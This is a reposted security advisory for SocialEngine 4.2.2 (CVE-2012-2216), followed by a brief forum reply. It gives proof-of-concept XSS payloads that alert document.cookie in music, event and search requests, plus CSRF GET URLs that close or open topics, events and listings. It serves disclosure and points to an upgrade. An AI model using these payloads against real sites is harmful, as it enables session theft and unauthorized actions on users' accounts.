SocialEngine 4.2.2 Multiple Vulnerabilities

Free_小东

1. Social Engine 4.2.2 Multiples Vulnerabilities  
   
2. 
   
3. Earlier versions are also possibly vulnerable.  
   
4. 
   
5.    
   
6. 
   
7. INFORMATION  
   
8. 
   
9.    
   
10. 
    
11. Product: Social Engine 4.2.2  
    
12. 
    
13. Remote-Exploit: yes  
    
14. 
    
15. Vendor-URL: [url]http://www.socialengine.net/[/url]  
    
16. 
    
17. Discovered by: Tiago Natel de Moura aka "i4k"  
    
18. 
    
19. Discovered at: 10/04/2012  
    
20. 
    
21. CVE Notified: 10/04/2012  
    
22. 
    
23. CVE Number: CVE-2012-2216  
    
24. 
    
25.    
    
26. 
    
27. OVERVIEW  
    
28. 
    
29.    
    
30. 
    
31. Social Engine versions 4.2.2 is vulnerable to XSS and CSRF.  
    
32. 
    
33.    
    
34. 
    
35. INTRODUCTION  
    
36. 
    
37.    
    
38. 
    
39. SocialEngine is a PHP-based white-label social networking service  
    
40. 
    
41. platform, that provides features similar to a social network on a user's  
    
42. 
    
43. website. Main features include administration of small-to-mid scale  
    
44. 
    
45. social networks, some customization abilities, unencrypted code,  
    
46. 
    
47. multilingual capability, and modular plugin/widget compatibility. There  
    
48. 
    
49. is a range of templates and add-ons available to extend the basic  
    
50. 
    
51. features already included in the SocialEngine core.  
    
52. 
    
53.    
    
54. 
    
55. VULNERABILITY DESCRIPTION  
    
56. 
    
57.    
    
58. 
    
59. == Persistent XSS in music upload. ==  
    
60. 
    
61.    
    
62. 
    
63. CWE-79: [url]http://cwe.mitre.org/data/definitions/79.html[/url]  
    
64. 
    
65. The software does not neutralize or incorrectly neutralizes  
    
66. 
    
67. user-controllable input before it is placed in output that is  
    
68. 
    
69. used as a web page that is served to other users.  
    
70. 
    
71.    
    
72. 
    
73. Proof Of Concept:  
    
74. 
    
75. POST http://localhost/index.php/music/create  
    
76. 
    
77.    
    
78. 
    
79. POST data without form-data enctype:  
    
80. 
    
81. title=<script>alert(document.cookie);</script>&description=teste  
    
82. 
    
83. &search=1&auth_view=everyone&MAX_FILE_SIZE=8388608&filename=  
    
84. 
    
85. &fancyuploadfileids=15  
    
86. 
    
87.    
    
88. 
    
89. == Persistent XSS in creating events ==  
    
90. 
    
91.    
    
92. 
    
93. POST  
    
94. 
    
95. http://localhost/socialengine/socialengine422_trial/index.php/events/create  
    
96. 
    
97.    
    
98. 
    
99. POST data without form-data enctype:  
    
100. 
     
101. title=teste XSS 3&description=teste XSS 3&starttime[date]=4/9/2012&  
     
102. 
     
103. starttime[hour]=1&starttime[minute]=0&starttime[ampm]=AM&endtime[date]=4/12/2012  
     
104. 
     
105. &endtime[hour]=1&endtime[minute]=0&endtime[ampm]=AM&host=teste  
     
106. 
     
107. &location=<script>alert(document.cookie);</script>&MAX_FILE_SIZE=8388608&  
     
108. 
     
109. photo=&category_id=0&search=&search=1&approval=&auth_invite=&auth_invite=1&  
     
110. 
     
111. auth_view=everyone&auth_comment=everyone&auth_photo=everyone&submit=  
     
112. 
     
113.    
     
114. 
     
115. == Reflected XSS in search form of events area. ==  
     
116. 
     
117.    
     
118. 
     
119. Direct javascript injected:  
     
120. 
     
121. POST http://localhost/index.php/widget/index/content_id/644  
     
122. 
     
123.    
     
124. 
     
125. format=html&subject=event_1&search=';alert(document.cookie);var a = '  
     
126. 
     
127.    
     
128. 
     
129. Proof of Concept:  
     
130. 
     
131. - - Go to URL: /index.php/event/$EVENT_ID  
     
132. 
     
133. - - Click on the "Guests"  
     
134. 
     
135. - - Click in "Search guests" form  
     
136. 
     
137. - - Submit: ';alert(document.cookie); var a = '  
     
138. 
     
139.    
     
140. 
     
141. You will see your PHPSESSID in the alert.  
     
142. 
     
143.    
     
144. 
     
145. == Multiples CSRF vulnerabilities ==  
     
146. 
     
147.    
     
148. 
     
149. CWE-352: [url]http://cwe.mitre.org/data/definitions/352.html[/url]  
     
150. 
     
151. The web application does not, or can not, sufficiently verify whether  
     
152. 
     
153. a well-formed, valid, consistent request was intentionally provided by  
     
154. 
     
155. the user who submitted the request.  
     
156. 
     
157.    
     
158. 
     
159. A CSRF in the plugin "Forum" allows forcing the owner of the event to do  
     
160. 
     
161. some  
     
162. 
     
163. activities such as:  
     
164. 
     
165.    
     
166. 
     
167. Close a topic:  
     
168. 
     
169. GET /index.php/forums/topic/4/example-topic/close/close/1  
     
170. 
     
171.    
     
172. 
     
173. Open a topic:  
     
174. 
     
175. GET /index.php/forums/topic/4/example-topic/close/close/0  
     
176. 
     
177.    
     
178. 
     
179. A CSRF in the plugin "Event" allows forcing the owner of the event to do  
     
180. 
     
181. some  
     
182. 
     
183. activities such as:  
     
184. 
     
185.    
     
186. 
     
187. Close the event:  
     
188. 
     
189. GET /index.php/events/topic/close/close/1/event_id/2/topic_id/2  
     
190. 
     
191.    
     
192. 
     
193. Open the event:  
     
194. 
     
195. GET /index.php/events/topic/close/close/0/event_id/2/topic_id/2  
     
196. 
     
197.    
     
198. 
     
199. "Watch Topic":  
     
200. 
     
201. GET /index.php/events/topic/watch/watch/1/event_id/2/topic_id/2  
     
202. 
     
203.    
     
204. 
     
205. "Stop Watching Topic":  
     
206. 
     
207. GET /index.php/events/topic/watch/watch/0/event_id/2/topic_id/2  
     
208. 
     
209.    
     
210. 
     
211. A CSRF in the plugin "Classifieds" allows forcing the owner of the event  
     
212. 
     
213. to do  
     
214. 
     
215. some activities such as:  
     
216. 
     
217.    
     
218. 
     
219. Open the classified listing:  
     
220. 
     
221. GET /index.php/classifieds/close/1/closed/0  
     
222. 
     
223.    
     
224. 
     
225. Close the classified listing:  
     
226. 
     
227. GET /index.php/classifieds/close/1/closed/1  
     
228. 
     
229.    
     
230. 
     
231. VERSIONS AFFECTED  
     
232. 
     
233.    
     
234. 
     
235. Tested with version 4.2.2 but earlier versions are possibly vulnerable.  
     
236. 
     
237.    
     
238. 
     
239. SOLUTION  
     
240. 
     
241.    
     
242. 
     
243. Upgrade to Social Engine 4.2.4.  
     
244. 
     
245.    
     
246. 
     
247. NOTES  
     
248. 
     
249.    
     
250. 
     
251.    
     
252. 
     
253. The Common Vulnerabilities and Exposures (CVE) project has assigned the  
     
254. 
     
255. name CVE-2012-2216 to this issue. This is a candidate for inclusion in  
     
256. 
     
257. the CVE list ([url]http://cve.mitre.org[/url]), which standardizes names for  
     
258. 
     
259. security problems.  
     
260. 
     
261. CREDITS  
     
262. 
     
263.    
     
264. 
     
265. Tiago Natel de Moura aka "i4k"  
     
266. 
     
267. SEC+ Information Security Company - [url]http://www.secplus.com.br/[/url]  
     
268. 
     
269. BugSec Security Team - [url]http://bugsec.googlecode.com/[/url]  
     
270. 
     
271.    
     
272. 
     
273. --   
     
274. 
     
275. Tiago Natel de Moura  
     
276. 
     
277. IT Security Consultant                        
     
278. 
     
279. [url]http://www.linkedin.com/in/tiagonatel[/url]  
     
280. 
     
281. [url]http://www.secplus.com.br/[/url]  
     
282. 
     
283. [url]http://github.com/tiago4orion[/url]  
     
284. 
     
285. [url]http://code.google.com/p/bugsec[/url]
     

复制代码

-冰凌_

代码看不懂。
小东，用来干嘛的